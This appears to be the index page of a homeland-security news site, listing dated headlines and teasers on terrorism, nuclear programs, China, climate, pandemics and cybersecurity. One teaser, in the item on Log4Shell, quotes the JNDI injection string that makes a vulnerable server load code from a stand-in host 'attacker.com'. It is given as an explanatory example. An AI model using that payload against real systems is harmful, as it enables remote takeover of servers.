Hostage Situation Continuing in Texas

1/15/22 TERRORISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments The FBI joined local and state police to surround a synagogue in Coleville, Texas, a city of about 26,000 residents about 15 miles northeast of Fort Worth, where a man has been holding the rabbi and...

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Expanding America’s Marine Highways 

1/15/22 SUPPLY CHAINS Enable IntenseDebate Comments:  Enable IntenseDebate Comments The  U.S. Department of Transportation’s Maritime Administration (MARAD) awarded $12.6 million in grants to nine marine highway projects across the United Statesunder the America’s Marine Highway Program (AMHP). DOT says that the funding will help address supply chain disruptions, enhance the movement of goods along...

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The Progress of Iran’s Nuclear Weapons Program

1/14/22 NUCLEAR PROLIFERATION Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Institute for Science and International Security has issued the third edition of its authoritative Peddling in Peril (PPI 2021-2022), a comprehensive ranking of the effectiveness of national strategic trade controls. PPI 2021-2022 ranks 200...

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Examining How Countries Go Nuclear — and Why Some Do Not

1/14/22 NUCLEAR PROLIFERATION Enable IntenseDebate Comments:  Enable IntenseDebate Comments Political scientist Vipin Narang’s new book, Seeking the Bomb: Strategies of Nuclear Proliferation, makes sense of the complex history of nuclear weapons programs. In 1993, South Africa announced to a largely surprised world that it had...

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Envisioning the Overthrow of China’s Xi Jinping

1/14/22 CHINA WATCH Enable IntenseDebate Comments:  Enable IntenseDebate Comments Chinese President Xi Jinping, pressured to resign by Li Keqiang and other Politburo members, is escorted to a coastal luxury villa while Li, along with other top civilian and military officials, forms a new government...

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DOJ Adding New Unit Dedicated to Combatting Domestic Terrorism

1/13/22 EXTREMISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Justice Department’s National Security Division is adding a new unit, dedicated to combatting domestic terrorism, as attacks, threats, and associated cases continue to grow. Assistant Attorney General Matthew Olsen told the Senate Judiciary Committee on Tuesday that...

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We Don’t Need a Civil War to Be in Serious Trouble

1/13/22 EXTREMISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments As the House Select Committee investigating the Jan. 6 insurrection at the U.S. Capitol prepares for televised hearings later this month, public attitudes toward the attack are divided sharply along partisan lines. read more

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Leveraging Social Media During a Disaster

1/11/22 DISASTERS Enable IntenseDebate Comments:  Enable IntenseDebate Comments During a disaster, many people turn to social media seeking information. But communicating during disasters is challenging, especially using an interactive environment like social media where misinformation can spread easily. Now, University of Georgia researchers have developed a...

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Jan. 6: Meaning, Significance, Ramifications

1/6/22 OUR PICKS: JANUARY 6 – ONE YEAR ON Enable IntenseDebate Comments:  Anniversary of a Disgrace  (The Editors, National Review) On January 6, 2021, Mike Pence presided over a constitutionally mandated joint session of Congress to count the electoral votes. The Trump-Pence campaign disputed the 2020 results in election contests and in court, but

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China’s Nuclear Buildup is About More Than Nukes

1/4/21 ARGUMENT: CHINA’S NUKES Enable IntenseDebate Comments:  Enable IntenseDebate Comments U.S.-China nuclear and strategic stability will be tested in the coming year after a series of revelations in 2021 about Beijing’s nuclear program. It is expanding the size and sophistication of its arsenal, potentially...

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Aiding Evaluation of Adversarial AI Defenses

1/4/21 ADVERSARIAL AI Enable IntenseDebate Comments:  Enable IntenseDebate Comments There are many inherent weaknesses that underlie existing machine learning (ML) models, opening the technology up to spoofing, corruption, and other forms of deception. Attacks on AI algorithms could result in a range of negative...

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December in Texas Hottest on Record in More Than 130 Years

1/4/22 CLIMATE CHALLENGES Enable IntenseDebate Comments:  Enable IntenseDebate Comments Last month Texas experienced its warmest December on record since 1889, said John Nielsen-Gammon, a regents professor of atmospheric sciences at Texas A&M University who also serves as the state climatologist. From Dallas through Abilene to Del Rio,...

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Examining the Denver Shooter’s Ideological Views

1/3/21 ARGUMENT: ANOTHER FACE OF EXTREMISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments On 27 December 2021, Lyndon McLeod shot and killed five individuals in Denver, Colorado before being shot and killed by a Denver police officer. Matthew Kriner, H. E. Upchurch and W. Aaron...

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Mass Shooting in Denver

1/3/21 EXTREMISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments On 27 December 2021, Lyndon McLeod carried out a shooting spree spanning the Denver metropolitan area, murdering five people and wounding at least three others. Ultimately, McLeod died during a shoot-out with responding police. According to a...

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Follow the Money: Bringing IS Extremists to Justice

12/30/21 TERRORISM Enable IntenseDebate Comments:  Enable IntenseDebate Comments Who profited from the rise of the extremist group known as the “Islamic State” in Iraq and where are they today? This is just one of the questions that former German federal prosecutor Christian Ritscher hopes...

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Social Capital and COVID-19 Response

12/30/21 COVID RESPONSE Enable IntenseDebate Comments:  Enable IntenseDebate Comments University of Illinois Urbana-Champaign electrical and computer engineering professor Lav Varshney is a co-author of a new study that explores how social capital influences choices regarding COVID-19 mitigation compliance. Illinois News Bureau physical sciences editor Lois Yoksoulian spokewith V read more

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Simulation Models of Potential Asteroid Collisions

12/28/21 PLANETARY SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments An asteroid impact can be enough to ruin anyone’s day, but several small factors can make the difference between an out-of-this-world story and total annihilation. In AIP Advances, by AIP Publishing, a researcher from the...

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Germany Responds to Putin’s Weaponization of Russian Gas

12/28/21 ENERGY SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments Yamal-Europe, Europe’s longest gas pipeline, usually transports Russian natural gas overland to — rather than from —  Germany. Now it has spent the last week sending mainly Russian gas from Germany back to Poland. The purpose? To meet a shortfall as temperatures drop to -10 degrees...

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Security Experts & the “Vulnerability of the Decade” | Covid Is Here for Good | How China Manipulates Facebook and Twitter, and more

12/24/21 OUR PICKS Enable IntenseDebate Comments:  Computer Security Experts Scramble to Fix “Vulnerability of the Decade”  (Gopal Ratnam, CQ Roll Call / Techexplore) Criminals, cyber spies, and hackers around the world are launching thousands of attempts every hour to exploit a flaw in a widely used logging software as cybersecurity experts are scrambling to

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“In Defense of Water” Program Aims to Improve Water Security

12/24/21 WATER SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments Marquette University has received a two-year, $3.8 million grant from the U.S. Department of Defense for an interdisciplinary program, “Novel Technologies to Mitigate Water Contamination for Resilient Infrastructure,” to develop novel, sustainable technologies to protect...

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Belgium to Shut Down All Existing Nuclear Power Plants

12/23/21 NUCLEAR POWER Enable IntenseDebate Comments:  Enable IntenseDebate Comments Belgium’s government on Thursday said it would shut all of the country’s nuclear power plants over the next three years. However, as part of a compromise, the country will continue to invest in future technologies that could see...

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CISA Hosts Cybersecurity Navigators Forum for Election Officials

11/22/21 ELECTION SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Cybersecurity and Infrastructure Security Agency (CISA) recently concluded a forum for state and local election officials to discuss cyber navigator programs. Cyber navigators are state liaisons that can help under-resourced local jurisdictions manage their...

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U.S. Guns Sales Have Been Surging: Study

12/22/21 GUNS Enable IntenseDebate Comments:  Enable IntenseDebate Comments An estimated 7.5 million U.S. adults became new gun owners over a recent 28-month span, sharply increasing the prospects for home accidents or people taking their own lives, according to research by Matt Miller, a professor...

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Computer Attacks with Laser Light

12/22/21 IT SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments Computer systems that are physically isolated from the outside world (air-gapped) can still be attacked. This is demonstrated by IT security experts of the Karlsruhe Institute of Technology(KIT) in the LaserShark project. They show that...

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What Will Taiwan Do If China Invades?

12/22/21 CHINA WATCH Enable IntenseDebate Comments:  Enable IntenseDebate Comments Military flyovers from China and tough talk in Washington have made a possible conflict over Taiwan feel more real over the past month. That is true for Chen Yi-guang, a retired finance professional. The Taipei dweller...

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Identifying Fake Voice Recordings

12/20/21 IT SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments Machines can use artificial intelligence to create photos or voice recordings that look or sound like those in real life. Researchers at the Horst Görtz Institute for IT Security at Ruhr-Universität Bochum are interested in...

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Problems in Regulating Social Media Companies’ Extremist, Terrorist Content Removal Policies

12/20/21 TERRORIST CONTENT ONLINE Enable IntenseDebate Comments:  Enable IntenseDebate Comments The proliferation of online terrorist and violent extremist content, particularly on social media platforms, is one of the major policy issues facing U.S. counterterrorism authorities and digital communications technology providers. The George Washington University’s Program...

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Securing U.S. Democracy

12/17/21 ARGUMENT: DEMOCRACY CHALLENGES Enable IntenseDebate Comments:  Enable IntenseDebate Comments Most of the homeland security architecture built in the past twenty years has been devoted to protecting Americans from an act of international terrorism. Carrie Cordero writes in Lawfare that as a result, Americans...

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Getting Quickly to the Scene of a HAZMAT Incident

12/17/21 HAZMAT Enable IntenseDebate Comments:  Enable IntenseDebate Comments Getting quickly to the scene of a hazardous material (HAZMAT) incident is critical—whether it’s an oil spill or release of chemical, biological, or radiological materials. During a HAZMAT response, the U.S. Coast Guard’s National Strike Force (NSF),...

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“Cyber Is the Most Dangerous Weapon in the World” | Long-Lasting Tornadoes | Predicting China’s Behavior, and more

12/16/21 OUR PICKS Enable IntenseDebate Comments:  U.S. Builds New Software Tool to Predict Actions That Could Draw China’s Ire  (Reuters) U.S. military commanders in the Pacific have built a software tool to predict how the Chinese government will react to U.S. actions in the region like military sales, U.S.-backed military activity and even congressional

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The Impact of Drone Warfare on World Order

12/16/21 DRONE WARFARE Enable IntenseDebate Comments:  Enable IntenseDebate Comments An upcoming book by a Cornell doctoral student explores a new field of study related to the use of Unmanned Aerial Vehicles, typically referred to as drones, in warfare. Drones and Global Order: Implications of Remote...

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Community, Faith, and Public Violence

12/16/21 MASS SHOOTINGS Enable IntenseDebate Comments:  Enable IntenseDebate Comments Communities with more religious congregations have fewer mass public shootings, according to new research from Binghamton University, State University of New. read more

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Has Winter Blown Off Course?

12/15/21 CLIMATE CHALLENGES Enable IntenseDebate Comments:  Enable IntenseDebate Comments Blizzards in Hawaii. No snow in the Colorado Rockies. Crickets in Ketchum, Idaho. What in the world is going on in the West? Some say that climate change has affected this year’s winter in the Western region of the...

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Consortium to Combat Targeted Crowd Attacks

12/15/21 SOFT TARGETS Enable IntenseDebate Comments:  Enable IntenseDebate Comments The United States Department of Homeland Security (DHS) has appointed a consortium of 10 universities, including Rutgers University-New Brunswick, to combat terrorist and criminal attacks on soft targets such as schools, hospitals, shopping malls and...

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Aviation Self-Screening Concept and Prototype

12/15/21 AVIATION SECURITY Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Department of Homeland Security (DHS) Science and Technology Directorate(S&T) Screening at Speed Program announced the award of $2,527,907.76 to Vanderlande Industries Inc. of Marietta, Georgia, to develop a passenger self-screening concept design and prototype that streamlines...

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Growth of the Left-Wing ‘Gunstagram’ | Post-Organizational Violent Extremism | Standing Your Ground in Texas, and more

12/14/21 OUR PICKS Enable IntenseDebate Comments:  The Growth of the Left-Wing ‘Gunstagram’  (Joshua Farrell-Molloy, ISD) There is an emerging firearms community in the US consisting of armed left-wing activists and antifascists that has grown on Instagram since 2020. We are calling this community ‘Left-wing Gunstagram’. read more

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New Tool Pinpoints Natural Disaster Risk Down to County Level

12/14/21 NATRUAL DISASTERS Enable IntenseDebate Comments:  Enable IntenseDebate Comments NOAA’s National Centers for Environmental Information (NCEI) has released an innovative mapping tool that provides county-level information on natural disaster hazards across the United States. This new feature provides significant enhancements to the state-level data...

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What’s the Deal with the Log4Shell Security Nightmare?

12/11/21 PERSPECTIVE: Cybersecurity Nightmare Enable IntenseDebate Comments:  Enable IntenseDebate Comments What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a5-alarm security panic as administrators and developers...

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Gait Authentication to Enhance Smartphone Security

12/11/21 Biometrics Enable IntenseDebate Comments:  Enable IntenseDebate Comments Real-world tests have shown that gait authentication could be a viable means of protecting smartphones and other mobile devices from cyber crime, according to new research. A study led by the University of Plymouth asked smartphone users...

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New Cyber Protections against Stealthy “Logic Bombs”

12/11/21 Cybersecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments Cybersecurity researchers at Rutgers University-New Brunswickand the Georgia Institute of Technology have proposed new ways to protect 3D printed objects such as drones, prostheses, and medical devices from stealthy “logic bombs.” read more

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How China Could Cyberattack Taiwan

12/11/21 China Watch Enable IntenseDebate Comments:  Enable IntenseDebate Comments China has the means to launch a disabling cyberattack against political rival Taiwan ahead of any military invasion, experts say, as the technology is already targeting the island’s political leadership. read more

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Human and Economic Impacts of Covid-19

12/9/21 Pandemic Enable IntenseDebate Comments:  Enable IntenseDebate Comments Throughout its unsteady course, the COVID-19 pandemic has altered the behavior of businesses and households.  Those behavioral changes, intensified by government actions like mandatory closures, have had a reverberating impact on the U.S. economy. read more

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Helping Calculate Likelihood of Worst-Case Scenarios

12/9/21 High-Risk Disasters Enable IntenseDebate Comments:  Enable IntenseDebate Comments Quick—if you had to guess, what would you think is most likely to end all life on Earth: a meteor strike, climate change or a solar flare? (Choose carefully.) A new statistical method could help accurately...

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Community-Based Solutions to Enhance Disaster Resilience

12/9/21 Resilience Enable IntenseDebate Comments:  Enable IntenseDebate Comments In partnership with the U.S. Department of Homeland Security and the U.S. Department of Energy, the U.S. National Science Foundation (NSF) announced $15.9 million in awards to teams comprising civic partners such as local, state, and...

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The Historian’s Approach to Understanding Terrorism

12/8/21 ARGUMENT: Historians & Terrorism Enable IntenseDebate Comments:  Enable IntenseDebate Comments H.R. McMaster’s 2020 book, Battlegrounds: The Fight to Defend the Free World, argues very powerfully for the centrality of historical understanding for addressing the world’s greatest challenges. Reflecting on U.S. read more

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How Has COVID-19 Changed the Violent Extremist Landscape?

12/8/21 Pandemic & Extremism Enable IntenseDebate Comments:  Enable IntenseDebate Comments The COVID-19 pandemic has upended the normative social order of democratic societies in profound ways: lockdowns, public health mandates, a range of restrictions on movement and behavior, and the rapid development of new-generation vaccines....

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Competition Between U.S., China Continues in Africa

12/8/21 China Watch Enable IntenseDebate Comments:  Enable IntenseDebate Comments Tyson Nuthu works in the outdoors industry in Nairobi and sees the presence of China everywhere. “Just look at all the construction projects, from Ngong Road to the western bypass. Everywhere you look, China is active...

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Why the FCC Expelled a Chinese Telecom for National Security Risks

12/7/21 ARGUMENT: China’s Telecom Risks Enable IntenseDebate Comments:  Enable IntenseDebate Comments After months of investigating Chinese state-owned telecommunications companies for national security risks, the Federal Communications Commission (FCC) on Oct. 26 issued an order on one, China Telecom: It can no longer provide telecommunications services in...

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Israel Completes Wall along Gaza Border

12/7/21 Border Wall Enable IntenseDebate Comments:  Enable IntenseDebate Comments Israel on Tuesday announced the completion of an enhanced security barrier along its border with the besieged Gaza Strip. The structure includes and underground wall equipped with sensors to prevent militants from using tunnels.  It also includes improvements...

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Ground Improvement Technique Ahead of Earthquakes

12/7/21 Earthquakes Enable IntenseDebate Comments:  Enable IntenseDebate Comments Juan Carlos Tiznado (PhDCivEngr’20) is the lead author on a new paper in the Journal of Geotechnical and Geoenvironmental Engineering that helps engineers better understand and predict the “liquefaction” hazard during earthquakes and more reliably mitigate it. read more

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Cooking Material-Storage Containers to Assess Fire Safety

12/7/21 Hazardous Materials Enable IntenseDebate Comments:  Enable IntenseDebate Comments A team at Sandia National Laboratories has completed a series of tests on specially designed stainless-steel containers used by the Department of Energy for storage and transportation of hazardous materials. The engineers, technologists and project managers were...

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Detecting Malicious Broadcast Receivers

12/7/21 Cybersecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments How might we enhance the detection of malware on the Android operating system commonly used to run mobile phones and tablets? Research published in Inderscience’s International Journal of Information Privacy, Security and Integrity looks to the concept of...

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The Tipping Point for Legislative Polarization

Polarization Enable IntenseDebate Comments:  Enable IntenseDebate Comments A predictive model of a polarized group, similar to the current U.S. Senate, demonstrates that when an outside threat – like war or a pandemic – fails to unite the group, the divide may be irreversible through...

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Getting the Asteroid Before It Gets Us

12/3/21 Planetary Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Last week, the stuff of Hollywood blockbusters became a reality when NASA launched its Double Asteroid Redirection Test (DART), a small spacecraft that will smash into an asteroid sometime in September or October to try to...

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Microgrids May Hold the Key to Grid Resilience

12/3/21 Grid Resilience Enable IntenseDebate Comments:  Enable IntenseDebate Comments The aging energy grid is being pushed to the breaking point. Power outages from extreme weather alone cost anywhere from $2 billion to $77 billion per year. And some isolated communities still rely on diesel generators...

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NATO Has Warned Russia, but Will NATO Defend Ukraine?

12/2/21 The Russia Connection Enable IntenseDebate Comments:  Enable IntenseDebate Comments “Any future Russian aggression against Ukraine would come at a high price and have serious political and economic consequences for Russia,” NATO Secretary General Jens Stoltenberg warned from the foreign ministers’ meeting in Riga.While acknowledging NATO has no mechanism...

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Earthquakes and Tsunamis in Europe?

12/2/21 Disasters Enable IntenseDebate Comments:  Enable IntenseDebate Comments Earthquakes and tsunamis do not only threaten distant coasts, but also ports, cities and coasts in European waters. A new position paper by the European Marine Board, led by GEOMAR researchers, provides for the first time...

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Using Math to Prove Computer Security

12/2/21 Cybersecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments Eureka prize winner and University of Melbourne Associate Professor Toby Murray thought math was boring, but he now relies on it to secure critical systems like those of the Australian Department of Defense against hackers. Murray talked...

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New Generation of Grid Emergency Control Technology

12/2/21 Grid Resilience Enable IntenseDebate Comments:  Enable IntenseDebate Comments Grid operators face big challenges and big opportunities when it comes to managing through emergency conditions that disrupt power service. The increasing number of power outages in the United States cost an estimated $30-50 billion...

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Covid Is Less Risky to Children than Covid Vaccines

12/2/21 Children & COVID-19 Vaccination Enable IntenseDebate Comments:  Enable IntenseDebate Comments The emergence of a new COVID variant may have intensified the debate over whether or not children should be vaccinated, but the scientific verdict is clear: It supports the argument that we should...

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COVID: Will the U.K. Vaccinate Children Under 12?

12/1/21 COVID-19 Vaccination Enable IntenseDebate Comments:  Enable IntenseDebate Comments Some countries, such as the U.S. and Israel, are now offering COVID vaccines to all children aged five and over. It’s a sign of how well vaccine rollout has gone in these places, but also that the pandemic...

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Sines v. Kessler: Reckoning and Weaponization

11/30/21 Extremism Enable IntenseDebate Comments:  Enable IntenseDebate Comments On 23 November 2021, a jury returned its verdicts in the civil lawsuit against the organizers of the deadly 2017 “Unite the Right” rally in Charlottesville, Virginia. All defendants were found guilty of Virginia state civil conspiracy charges,...

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Biggest Kink in America’s Supply Chain | DHS Reveals Next Research Interests | Facebook Made Exceptions to Its Taliban Ban, and more

11/30/21 Our picks Enable IntenseDebate Comments:  The Biggest Kink in America’s Supply Chain: Not Enough Truckers  (Madeleine Ngo and Ana Swanson, New York Times) Long hours and uncomfortable working conditions are leading to a shortage of truck drivers, which has compounded shipping delays in the United States. read more

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Boosting Resilience of U.S. Timekeeping

11/30/21 Resilience Enable IntenseDebate Comments:  Enable IntenseDebate Comments The U.S. should bolster research and development of systems that distribute accurate time via fiber-optic cable and radio as part of the effort to back up GPS and enhance the resilience of critical infrastructure that depends...

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Simple and Efficient Method of Quantum Encryption

11/30/21 Encryption Enable IntenseDebate Comments:  Enable IntenseDebate Comments Quantum computers will revolutionize our computing lives. For some critical tasks, they will be mind-bogglingly faster and use much less electricity than today’s computers. This good news also has a downfall— these computers will be able...

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Afghanistan: Taliban Kill, “Disappear” Ex-Officials

11/30/21 Terrorism Enable IntenseDebate Comments:  Enable IntenseDebate Comments Taliban forces in Afghanistan have summarily executed or forcibly disappeared more than 100 former police and intelligence officers in just four provinces since taking over the country on 15 August 2021, despite a proclaimed amnesty, Human Rights Watch...

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The Job of the Pentagon’s New UFO Office | China Became Jihadis’ New Target | Chinese Spies Academia, and more

11/2/21 Our picks Enable IntenseDebate Comments:  U.S. to Remove Colombia’s FARC from Terror List (AFP / VOA News) The U.S. government has notified Congress that it will remove the official terror group designation from former rebels of the Revolutionary Armed Forces of Colombia (FARC), a congressional source told AFP Tuesday. The decision comes on

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How Climate Change Will Impact National Security

11/28/21 Climate & National Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Rising temperatures and intensifying weather due to climate change, along with the unlikelihood of meeting the 2030 emissions goals of the Paris Agreement, will exacerbate geopolitical tensions, social instability, and the need for...

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First Planetary Defense Test

11/28/21 Planetary Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Lawrence Livermore National Laboratory (LLNL) is taking part in NASA’s first-ever planetary defense test, which deliberately collides a spacecraft into an asteroid called Dimorphos. read more

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National Security Consequences of Climate Change

11/2/21 Climate & Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Using novel data sets and computing systems, researchers at the Department of Energy’s Oak Ridge National Laboratoryare simulating how climate change affects the safety and security of the country. This research can help policy...

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Stacked Deep Learning: Deeper Defense against Cyberattacks

11/28/21 Cybersecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments To address the growing threat of cyberattacks on industrial control systems, a team of researchers at the Computer, Electrical and Mathematical Sciences and Engineering (CEMSE) Division, King Abdullah University of Science and Technology (KAUST), has developed...

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How to Fix Global Supply Chains for Good

11/26/21 Supply Chain Enable IntenseDebate Comments:  Enable IntenseDebate Comments The difficulties plaguing global supply chains have captured the world’s attention in recent weeks, illustrated in the media by pictures of empty store shelves and cargo ships waiting at sea. The Joe Biden administration has taken...

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Providing Resilient Power

11/18/21 Grid Resilience Enable IntenseDebate Comments:  Enable IntenseDebate Comments As illustrated this summer, extreme-weather events and wildfires can put power grids under pressure and threaten their ability to produce reliable power. For decades, consumers have relied on electricity delivered across long distances from large, centralized...

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University of Central Florida Students Defend Virtual Energy System to Win CyberForce Competition

11/18/21 Cybersecurity Education Enable IntenseDebate Comments:  Enable IntenseDebate Comments On Tuesday, the U.S. Department of Energy (DOE) announced a team from the University of Central Florida as the national winner of its seventh CyberForce Competition held on Nov. 13. The event challenged 120 teams from 105 colleges and universities to thwart a...

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Russian Anti-Vaccine Disinformation Campaign Backfires

11/18/21 Vaccines Enable IntenseDebate Comments:  Enable IntenseDebate Comments For more than a year, Russian-aligned troll factories overseeing thousands of social media accounts have been accused by Western countries and disinformation experts of spreading anti-vaccine messages in an aggressive campaign to spread conspiracy theories and...

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America’s Infrastructure Struggles | Turning the Tables on Russia’s Psyops | Health-Care Workers Quitting, and more

11/17/21 Our picks Enable IntenseDebate Comments:  America’s Infrastructure Struggles with New Weather Forecast  (Arian Campo-Flores and Katherine Blunt, Wall Street Journal) Historically anomalous heat and rain have overwhelmed systems designed to withstand old meteorological patterns, and climatologists expect still worse with climate change read more

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Belarusian Government Linked to Hacking, Disinformation Campaign

11/17/21 Information Operations Enable IntenseDebate Comments:  Enable IntenseDebate Comments U.S. cybersecurity researchers say they have uncovered evidence that the Belarusian government is linked to a hacking and disinformation campaign against Eastern European NATO members. Researchers with the cybersecurity firm Mandiant said in a report issued...

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“Ghost Guns” Available Online | Calibrating Domestic Intelligence | What It’s Like to Fight a Megafire, and more

11/16/21 Our Picks Enable IntenseDebate Comments:  ‘Ghost Guns’: Firearm Kits Bought Online Fuel Epidemic of Violence  (Glenn Thrush, New York Times) The untraceable weapons, assembled from parts, can be ordered with a click by children, gang members and felons. They are increasingly the lethal weapon of easy access around the U.S., but especially California. read

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Supply Chain Disruptions—the Risks and Consequences

11/16/21 Supply Chain Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments By now the impacts of supply chain disruption are becoming all too familiar: shortages, inflation, factory closures, goods waiting at ports to be unloaded. All these impacts are serious enough, but another more-hidden concern...

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News Manipulation by State Actors

11/15/21 Disinformation Enable IntenseDebate Comments:  Enable IntenseDebate Comments COVID-19 offered authoritarian regimes, such as China and Russia, an opportunity to manipulate news media to serve state ends. RAND researchers conducted a scalable proof-of-concept study for detecting state-level news manipulation. read more

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Using AI to Provide the World with Drinking Water

11/15/21 Water Security Enable IntenseDebate Comments:  Providing fresh drinking water for our society is a challenge that has persisted through multiple efforts. Though water covers 71 percent of earth’s surface, more than 2.5 billion people in the world lack access to fresh water at least once a month. For Amir Barati Farimani and his

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Germany: Building Back in Flood-Prone Areas After a Flood

11/15/21 Floods Enable IntenseDebate Comments:  Enable IntenseDebate Comments Alfred Sebastian surveys the space that used to be his kitchen. There’s no floor, the walls are stripped bare, and the only appliances to be seen are hardware tools and structural drying machines.   This is what’s left after the catastrophic floods that swept through Dernau, his...

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Interpol Unveils Emerging Cyberthreats

11/12/21 Cyber Threats Enable IntenseDebate Comments:  Enable IntenseDebate Comments The accelerated digitalization related to the COVID-19 pandemic has significantly influenced the development of a number of cyber threats, according to the new edition of Europol’s Internet Organised Crime Threat Assessment. Criminals have been quick to...

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Machine Learning Improves Earthquake Detection Capabilities

11/12/21 Earthquakes Enable IntenseDebate Comments:  Enable IntenseDebate Comments Researchers at Los Alamos National Laboratory are applying machine learning algorithms to help interpret massive amounts of ground deformation data collected with Interferometric Synthetic Aperture Radar (InSAR) satellites; the new algorithms will improve earthquake detection. read...

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Public Health as National Security

11/12/21 Pandemics Enable IntenseDebate Comments:  Enable IntenseDebate Comments The international community continues to deal with the fallout of COVID-19, and worries about more transmissible and lethal coronavirus variants have reinforced concerns that the world is entering an “age of pandemics.” Experts agree that it...

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Options for the Diablo Canyon Nuclear Plant

11/10/21 Nuclear Power Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Diablo Canyon nuclear plant in California, the only one still operating in the state, is set to close in 2025. A team of researchers at MIT’s Center for Advanced Nuclear Energy Systems, Abdul Latif Jameel...

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Counterterrorism Successes Against Foreign Fighters

11/11/21 ARGUMENT: Defeating Foreign Fighters Enable IntenseDebate Comments:  Enable IntenseDebate Comments As Dan Byman wrote in his book Road Warriors and in a recent spinoff article in Political Science Quarterly,jihadists who travel abroad to fight and train—foreign fighters—can become highly lethal terrorists. This danger...

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Biological Weapons in the “Shadow War”

11/9/21 ARGUMENT: Assessing Biowarfare Enable IntenseDebate Comments:  Enable IntenseDebate Comments Do countries still need to worry about threats from biological weapons? The COVID-19 pandemic has led to renewed discussion of biological weapons and whether bad actors — both nations and terrorists — have refocused...

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Critical Interoperable Messaging Capability for First Responders

11/9/21 First Responders Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Department of Homeland Security (DHS) Science & Technology Directorate (S&T) awarded $1,545,286.03 to Mobility 4 Public Safety (M4PS) to advance the development of the Bridge 4 Public Safety (Bridge4PS) messaging and collaborating platform for first responders. read...

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Important Breakthrough to Help Secure Electrical Grid

11/9/21 Grid Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments As the electrical grid is modernized, it requires new safeguards to keep it safe from cyberattackers. Researchers at Argonne have developed a novel security approach to find and stop cyberthreats that penetrate the IT layer, preserving grid stability....

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SALTO introduces the new XS4 Original+

SALTO has introduced the XS4 Original+. The new SALTO XS4 Original+ takes the trusted and proven flagship XS4 Original electronic lock product family and incorporates the latest technology to accommodate access control needs of both today and tomorrow. “Our customers, partners, and users rely...

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Protecting Soft Targets

11/8/21 Soft Targets Enable IntenseDebate Comments:  Enable IntenseDebate Comments It sounds like something out of a Bond movie: A packed sports stadium is under a bomb threat. A real-time surveillance system links key decision-makers inside and outside the building, allowing them to assess the...

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Protecting Infrastructure from Hackers

11/8/21 Infrastructure Protection Enable IntenseDebate Comments:  Enable IntenseDebate Comments Midwesterners fretting in dark kitchens after a storm have a pretty good idea about the real-world consequences of a cyberattack on the power grid. read more

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German Engine Technology Used in Chinese Warships: Report

11/8/21 China Watch Enable IntenseDebate Comments:  Several types of Chinese navy warships are powered by engines that were either developed or built by German manufacturers, an investigation by public broadcaster ARD and the Welt am Sonntag newspaper revealed Saturday. The two companies involved are MTU in Friedrichshafen and the French branch of the Volkswagen subsidiary MAN, according to the report. 

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U.S. Supreme Court Hears Case of Surveillance of Muslims

11/8/21 Surveillance Enable IntenseDebate Comments:  Enable IntenseDebate Comments The U.S. Supreme Court is hearing arguments Monday whether the U.S. government can invoke the protection of “state secrets” to withhold information about its surveillance of Muslims at mosques in California. The dispute began a decade ago...

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Cybersecurity Month 2021

Cyber attacks continue to rise each year and intruder methods are becoming more sophisticated. Cybersecurity Awareness Month reminds us that dilligent and comprehensive solutions are necessary to ensure all data remains secure in our increasingly connected world. Below, senior technology executives reflect on what...

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COVID-19: The Swedish Model

11/5/21 Pandemic Enable IntenseDebate Comments:  Enable IntenseDebate Comments In the spring of 2020, as it was deciding on what policies to take to deal with the spreading COVID-19 pandemic, the Swedish government chose a different path to many other countries, one based on a...

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Securing Data Transfers with Relativity

Data Transfer Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments The volume of data transferred is constantly increasing, but the absolute security of these exchanges cannot be guaranteed, as shown by cases of hacking frequently reported in the news. read more

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Government Action Needed to Ensure Insurance Against Major Hacking of Driverless Vehicles: Experts

11/5/21 Hacking Insurance Enable IntenseDebate Comments:  Government action is needed so driverless vehicles can be insured against malicious hacks which could have potentially catastrophic consequences, a study says. The software in driverless vehicles will make it possible for them to communicate with each other. It is being used and tested on public transport around the

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Striking a balance between privacy and security

Amanda Lieu, SEON’s Product Marketing Manager discusses the balance between privacy and security. Rather than being a single cut and dry issue, the debate about the balance between security and privacy in the digital world is complex and always evolving, best dealt with on...

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Face Recognition Is So Toxic, Facebook Is Dumping It

11/4/21 Privacy Enable IntenseDebate Comments:  Enable IntenseDebate Comments Facebook announced it is, for now, shutting down its face recognition program, which created face prints of users and automatically recognized them in uploaded photos. The decision to end the program comes at a time when face...

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Researchers Test Electric Personal Flying Machine

11/3/21 Flying Machines Enable IntenseDebate Comments:  Enable IntenseDebate Comments Imagine hopping into a zero carbon emission, personal aircraft and zipping skyward over the traffic and congestion to land conveniently right at the office.  It’s long been the stuff of science fiction but a team of...

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Protecting U.S. Critical Infrastructure from Cyberattacks

11/3/21 Infrastructure Protection Enable IntenseDebate Comments:  Enable IntenseDebate Comments Over the past year, there has been a sharp increase in cyberattacks using malware to target the systems of critical infrastructure such as utility companies, government agencies and organizations that provide services and products that...

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WMD Threat Sensors Deployed on Police Vehicles

